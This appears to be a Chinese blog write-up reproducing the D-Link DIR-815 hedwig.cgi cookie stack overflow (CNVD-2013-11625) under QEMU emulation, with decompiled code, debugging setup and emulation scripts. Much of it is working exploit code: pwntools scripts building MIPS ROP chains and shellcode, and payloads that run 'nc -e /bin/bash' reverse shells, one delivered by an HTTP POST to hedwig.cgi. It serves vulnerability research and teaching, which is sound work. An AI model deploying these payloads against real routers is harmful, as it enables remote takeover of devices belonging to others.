DIR-815漏洞复现

固件分析

确定固件架构

1
2
cd /bin
file busybox

binwalk分离固件

1
binwalk -Me file

mipsrop下载,ida9.0版本

IDA插件 MIPSROP的安装和使用方法_ida mips-CSDN博客

漏洞点分析

官方漏洞批漏:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

image

官方的漏洞报告中只提及了DIR-645型号的hedwig.cgi中会存在缓冲区溢出的漏洞,其实D-Link的DIR-815/300/600/645等型号都存在这个漏洞

根据漏洞描述,可知漏洞点在hedwig.cgi,同时这个文件指向/htdocs/cgibin,这个就是我们要分析的二进制文件

image

main中定位主要函数

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
// 函数入口,保存寄存器,分配栈空间,初始化局部变量。
int hedwigcgi_main()
{
char *v0; // $v0
const char *no_REQUEST; // $a1
FILE *stream; // $s0
int v3; // $fp
int v4; // $s5
int v5; // $v0
const char *string; // $v0
FILE *stream_1; // $s2
int fd; // $v0
int v9; // $s7
int fd_1; // $v0
char **v11; // $s1
int i; // $s3
char *v13; // $v0
const char **v14; // $s1
int v15; // $s0
char *v16; // $v0
const char **v17; // $s1
int v18; // $s0
int fd_2; // $v0
const char *v20; // $v0
char _runtime_session[20]; // [sp+18h] [-4A8h] BYREF
char *s_2; // [sp+2Ch] [-494h] BYREF
char *v24; // [sp+30h] [-490h]
_DWORD v25[3]; // [sp+34h] [-48Ch] BYREF
char s_1[128]; // [sp+40h] [-480h] BYREF
char s[1024]; // [sp+C0h] [-400h] BYREF

memset(s, 0, sizeof(s)); // memset(s, 0, sizeof(s)); 初始化1024字节缓冲区s为0。
memset(s_1, 0, sizeof(s_1)); // memset(s_1, 0, sizeof(s_1)); 初始化128字节缓冲区s_1为0。
strcpy(_runtime_session, "/runtime/session"); // strcpy(_runtime_session, "/runtime/session"); 拷贝字符串到_runtime_session。
v0 = getenv("REQUEST_METHOD"); // v0 = getenv("REQUEST_METHOD"); 获取环境变量REQUEST_METHOD,判断HTTP请求类型。
if ( !v0 ) // if (!v0) 检查REQUEST_METHOD是否存在,不存在则返回错误。
{
no_REQUEST = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") ) // if (strcasecmp(v0, "POST")) 检查是否为POST请求,非POST则返回错误。
{
no_REQUEST = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000); // cgibin_parse_request(sub_409A6C, 0, 0x20000); 解析CGI请求数据。
stream = fopen("/etc/config/image_sign", "r");// stream = fopen("/etc/config/image_sign", "r"); 打开签名配置文件。
if ( !fgets(s_1, 128, stream) ) // if (!fgets(s_1, 128, stream)) 读取签名内容,失败则返回错误。
{
no_REQUEST = "unable to read signature!";
goto LABEL_7;
}
fclose(stream); // fclose(stream); 关闭签名文件。
cgibin_reatwhite(s_1); // cgibin_reatwhite(s_1); 去除签名字符串中的空白字符。
v4 = sobj_new(); // v4 = sobj_new(); 创建字符串对象v4。
v5 = sobj_new(); // v5 = sobj_new(); 创建字符串对象v5。
v3 = v5;
if ( !v4 || !v5 )
{
no_REQUEST = "unable to allocate string object";
goto LABEL_34;
}
sess_get_uid(v4); // sess_get_uid(v4); 获取当前会话的UID。
string = (const char *)sobj_get_string(v4); // string = (const char *)sobj_get_string(v4); 获取UID字符串。
sprintf(s, "%s/%s/postxml", "/runtime/session", string);// sprintf(s, "%s/%s/postxml", "/runtime/session", string); 生成postxml路径。
xmldbc_del(0, 0, s); // xmldbc_del(0, 0, s); 删除旧的postxml节点。
stream_1 = fopen("/var/tmp/temp.xml", "w"); // stream_1 = fopen("/var/tmp/temp.xml", "w"); 创建临时XML文件用于写入。
if ( !stream_1 )
{
no_REQUEST = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack ) // if (!haystack) 检查XML数据是否存在,不存在则返回错误。
{
no_REQUEST = "no xml data.";
goto LABEL_34;
}
fd = fileno(stream_1); // fd = fileno(stream_1); 获取文件描述符。
v9 = lockf(fd, 3, 0); // v9 = lockf(fd, 3, 0); 尝试对文件加锁,防止并发写入。
if ( v9 < 0 )
{
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
0);
v9 = 0;
goto LABEL_26;
}
fd_1 = fileno(stream_1); // fd_1 = fileno(stream_1); 再次获取文件描述符。
lockf(fd_1, 1, 0);
s_2 = s_1;
v24 = 0;
memset(v25, 0, sizeof(v25));
v24 = strtok(_runtime_session, "/");
v11 = (char **)v25;
for ( i = 2; ; ++i )
{
v13 = strtok(0, "/");
*v11++ = v13;
if ( !v13 )
break;
}
(&s_2)[i] = (char *)sobj_get_string(v4);
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", stream_1);
v14 = (const char **)&s_2;
v15 = 0;
do
{
++v15;
fprintf(stream_1, "<%s>\n", *v14++);
}
while ( v15 < i + 1 );
v16 = strstr(haystack, "<postxml>");
fprintf(stream_1, "%s\n", v16);
v17 = (const char **)&(&s_2)[i];
v18 = i + 1;
do
{
--v18;
fprintf(stream_1, "</%s>\n", *v17--);
}
while ( v18 > 0 );
fflush(stream_1);
xmldbc_read(0, 2, "/var/tmp/temp.xml");
fd_2 = fileno(stream_1);
lockf(fd_2, 0, 0);
fclose(stream_1);
remove("/var/tmp/temp.xml");
v20 = (const char *)sobj_get_string(v4);
sprintf(s, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
xmldbc_ephp(0, 0, s, stdout);
if ( v9 )
{
no_REQUEST = 0;
LABEL_25:
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
no_REQUEST);
}
LABEL_26:
if ( haystack )
free(haystack);
if ( v3 )
sobj_del(v3);
if ( v4 )
sobj_del(v4);
return v9;
}

getenv去检查环境变量,然后全检测是不是post传参

image

cgibin_parse_request,函数中获取三个环境变量,这里参数的需要设置,并且有一定的要求

image

漏洞点就在sess_get_uid中

image

获取cookie环境变量,并解析,首先是检查cookie名是否是uid,然后将uid=后的ip给v4,而且没有限制,这里就存在栈溢出

image

image

然后是将v4->string->s,但s只有0x400字节,然后就会溢出

image

image

然后就是劫持程序流程,但实际上还需要绕过,也不是说绕过,参考正常pwn栈溢出的思路,我们肯定需要让程序执行完,然后才能执行到我们布置的rop链上,如何让程序能正常去执行

后续有两个要求

1./var/tmp/temp.xml存在

2.haystack != null

第一个只要我们不去破坏程序环境就不会出问题

关键是第二个,通过交叉引用我们发现控制haystack值的地方

这里实际上有两种处理方式,因为目的就是让程序走到我们的gadget上

1.CONTENT_TYPE=application/x-www-form-urlencoded

也是网上很多师傅分析的

image

sub_409a6c

每当cgibin_parse_request解析到一段需要处理的数据时,就会调用sub_409A6C,把数据交给它处理。这样,haystack就始终保存着最新的请求数据内容

正常执行的话haystack是不为空的

image

之后就是获取两个环境变量,REQUEST_URI/CONTENT_LENGTH

image

主要是CONTENT_TYPE,会检测"application/"这个字符串,同时会跳转到一个地方,ida中是看不到的,我们可以下断点调试看看

image

这里返回的是0x403b10

image

0x403b10

image

然后还是返回到0x409a6c,需要保证REQUEST_URI存在,然后程序就可以返回到我们布置好的rop上getshell

image

image

image

image

实际上我们可以CONTENT_TYPE=任意​,仅需设置post传参其他参数都不用控制,这样岂不是更简单

在sub_403B10不进入sub_402FFC,而是往下走,最后到sub_403794->cgibin_print_http_status

此时程序也可以走完,同时不触发报错,可以利用栈溢出漏洞,栈溢出的偏移不一样罢了

image

image

偏移

image

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin",
gdbscript="""
b *0x409680\n
c\n
""")
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

libc_base = 0x7f738000#local
#libc_base = 0x77f34000 #remote
payload=cyclic(0x1000)

payload = b'a'*0x3cd
payload += b'a'*(4+0x18+12-2)
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'abcd'
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += cyclic(20)#b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode



payload = b"uid=" + payload
post_content = "Thir0th=Pwner"
p = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-g 1234 ./htdocs/cgibin
""", shell = True)

bug()
p.send(post_content)











inter()

image

qemu用户态模拟

这个比较简单,就跟本地调试异架构一样,但参数不一样

直接gdb调试

进入 squashfs-root​ 文件夹中,执行下列指令

1
cyclic 2000 > payload

init.sh脚本启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

INPUT="Thir0th=Pwner" # 要发送的 POST 数据(可能是伪造登录
或命令执行尝试)
LEN=$(echo -n "$INPUT" | wc -c) # 自动计算数据长度(Content-Length)
COOKIE="uid=`cat payload`" # 从 payload 文件读取 cookie uid(模拟登
录身份)

# 使用 qemu-mipsel 启动 CGI 程序(绑定 GDB 调试端口 1234)
echo $INPUT | qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=$COOKIE \
-E REQUEST_URI="2333" \
-g 1234 \
./htdocs/cgibin


mygdb.sh

gdb-multiarch -x mygdb.sh

1
2
3
4
5
6
set architecture mips                                     
set follow-fork-mode child
set detach-on-fork off
target remote 127.0.0.1:1234
file ./htdocs/cgibin

脚本调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin",
gdbscript="""
b *0x402FFC\n
c\n
""")
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')





payload = b"uid=" + payload
post_content = "Thir0th=Pwner"
p = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=10 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
-g 1234 ./htdocs/cgibin
""", shell = True)

bug()
p.send(post_content)





inter()

qemu系统态模拟

step1 下载对应内核+镜像

Index of /~aurel32/qemu/mipsel

image

step2 创建网桥

安装网络配置器

1
apt-get install bridge-utils uml-utilities

修改interfaces文件

1
sudo vim /etc/network/interfaces

修改之前可以先备份

sudo cp /etc/network/interfaces /etc/network/interfaces.brk

修改为

1
2
3
4
5
6
7
8
9
10
11
12
auto lo
iface lo inet loopback

auto ens33
iface ens33 inet dhcp
up ifconfig ens33 0.0.0.0 up

auto br0
iface br0 inet dhcp

bridge_ports ens33
bridge_maxwait 0

/etc/qemu-ifup​ 文件中写入下面内容(如果没有则需要创建,然后使用 sudo chmod a+x /etc/qemu-ifup​)
注意是写入​,不是​改成下面内容

1
2
3
4
5
6
7
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

开启物理机的转发功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

然后在到/etc​文件中创建一个 /qemu/bridge.conf​ 在这个文件中写入 allow br0

配置好之后reboot

step3 配置qemu网络

qemu启动脚本

1
2
3
4
5
6
7
8
# start.sh
#!/bin/bash
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap

将start.sh与下载的内核+镜像放置在一起,启动qemu

账号密码都是root

执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 fail​ 但是不要紧,不影响我们复现漏洞,太多 fail​ 可能就有点问题了需要问AI检查一下

nano​ 来修改 /etc/network/interfaces

将eth0改为eth1,(ip -a查看一下qemu网卡,不一定是eth1)

image

启用eth1接口

1
ifup eth1

之后执行ip -a就可以看到qemu的ip了

互ping,检测是否互通,按照上述步骤来是没问题的

在qemu中输入应该不方便,可以用ssh链接

1
2
3
4
5
# 低版本Ubutnu
ssh root@192.168.xx.xx

# 高版本Ubutnu
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.xx.xx

step4 启动环境

将路由器文件分解得到的 /squashfs-root​ 文件传入到 qemu虚拟机的 /root​ 文件夹下面

1
2
3
4
5
6
7
# 低版本Ubutnu
scp -r ./squashfs-root root@192.168.xx.xx:/root/
scp -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>

# 高版本Ubuntu
scp -o HostKeyAlgorithms=ssh-rsa -r ./squashfs-root root@192.168.xx.xx:/root/
scp -o HostKeyAlgorithms=ssh-rsa -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>

/squashfs-root​ 文件中使用 nano指令​ 创建一个 http_conf​ 文件用于开启httpd服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡(如果是按照上面操作来的话就不用改)
Address 192.168.xx.xx #qemu仿真路由器系统的IP(需要改成自己的qemu虚拟机ip地址)
Port "1234" #对应未被使用的端口(一般也是不用改)
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

qemu执行以下脚本,启动web服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#init.sh
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

然后就应该可以去访问了

image

可以用nmap去扫描qemu,检测端口是否开放

1
nmap 192.168.10.67

step4 远程

需要用到gdbserver

已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改)

https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

远程调试

qemu /root/squashfs-root/路径下创建run.sh

调试ip地址是虚拟机主机ip

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi
#echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

注:

1
2
3
4
5
6
7
8
9
10
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi

这一行代码是与gdb-multiarch调试的时候开启。
192.168.10.60 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。

------------------------------------

# echo "winmt=pwner"|/htdocs/web/hedwig.cgi
这行代码是直接生成了payload直接攻击。

需要将gdbserver.mipsel传入qemu中

然后gdb-multiarch 接过来即可

1
2
3
4
5
set architecture mips                                     
set follow-fork-mode child
set detach-on-fork off
target remote 192.168.xx.xxx:6666
file ./htdocs/cgibin

file ./file

可以把文件加载到gdb里面获取函数名

qemu虚拟机要获取shell只能去打反弹shell,这里需要运行脚本,gdb-multiarch那边可以接收到我们发送的paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.87.135 8888' # 这里是Ubuntu物理机的地址

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

url = "http://192.168.87.136:1234/hedwig.cgi" # 这里是qemu虚拟机的地址
data = {"Thir0th" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "10"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

./run之后,然后Ubuntu的gdb去连接,然后Ubuntu在开个终端发送exp然后gdb里面就可以收到,这样子调试,反弹shell,还要再开一个终端监听端口,一共需要四个终端

1
nc -lvnp 8888

远程攻击

法一:向 QEMU 虚拟机上传 payload

这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为 uid,从而触发漏洞反弹 shell

run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi
echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

fd = open("payload", "wb")
fd.write(payload)
fd.close()

将生成的payload scp过去

法二:向 httpd 服务发送 HTTP 报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import requests

context(os='linux', arch='mips', log_level='debug')

cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell

libc_base = 0x77f34000

# 创建 payload
payload = b'a' * 0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a' * (4 * 7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a' * 0x18
payload += cmd

# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"winmt": "pwner"}

# 定义请求头
headers = {
"Cookie": b"uid=" + payload,
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "11"
}

# 发送 POST 请求
res = requests.post(url=url, headers=headers, data=data)

# 打印响应
print(res)

退出仿真环境

退出是执行fini.sh,要不然下次进去qemu会报错,init.sh脚本已经破坏了根目录,如果忘记的话重新下载内核和镜像

1
2
3
4
5
#fin.sh
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

关于虚拟桥接网络,可以不用去关闭

要关闭的话就这样,但后续配置还需要去配置虚拟桥连网络

877a3e4faf9a4c875c3d22c7324239e1

参考链接

DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区

DIR-815 栈溢出漏洞-先知社区

从零到一:复现 DIR-815 栈溢出漏洞_dir815漏洞复现-CSDN博客

😘欢迎回来~ | 坠入星野的月🌙

D-Link DIR-815路由器溢出漏洞分析 | ZIKH26's Blog

CNVD-2013-11625复现 | 坠入星野的月🌙